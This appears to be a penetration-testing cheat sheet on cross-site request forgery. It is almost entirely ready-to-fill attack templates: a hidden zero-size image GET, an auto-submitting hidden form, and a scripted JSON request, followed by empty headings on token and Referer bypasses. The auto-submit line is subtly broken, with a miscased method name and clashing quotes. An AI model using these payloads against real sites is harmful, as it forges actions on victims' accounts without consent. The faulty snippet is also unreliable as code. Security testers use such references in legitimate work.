CSRF
Payloads
GET Request
<img src="<url>" width="0" height="0" border="0"> //no interaction required
<a href="<url>">Click me!</a>POST Request in form
<form id="f1" action="<url>" method="POST">
<input type="hidden" name="<arg1>" value="<value1>"/>
<input type="hidden" name="<arg2>" value="<value2>"/>
<input type="submit" value="click me"/>
</form>
<body onload="document.getElementByid("f1").submit()">Request with JSON
<script>
function req() {
var x = new XMLHttpRequest();
x.open("<PUT|HEAD|POST>","<url>",true);
x.setRequestHeader("Content-Type", "application/json");
x.send(JSON.stringify(<JSON Object>));
}
</script>
<body onload="req()">Security Bypass
Incorrect CSRF token validation
Referer header
Last updated